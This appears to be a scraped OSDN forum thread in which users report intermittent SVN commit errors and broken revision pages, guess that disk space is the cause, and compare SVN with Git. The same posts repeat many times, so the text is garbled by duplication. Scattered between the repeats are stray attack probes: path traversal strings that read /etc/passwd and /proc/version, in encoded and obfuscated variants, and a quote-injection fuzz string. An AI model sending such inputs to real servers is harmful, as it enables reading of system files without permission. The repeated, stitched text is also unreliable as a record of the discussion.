About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
../../../../../../../../../../../../../../../proc/version
12345'"\'\");|]*
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
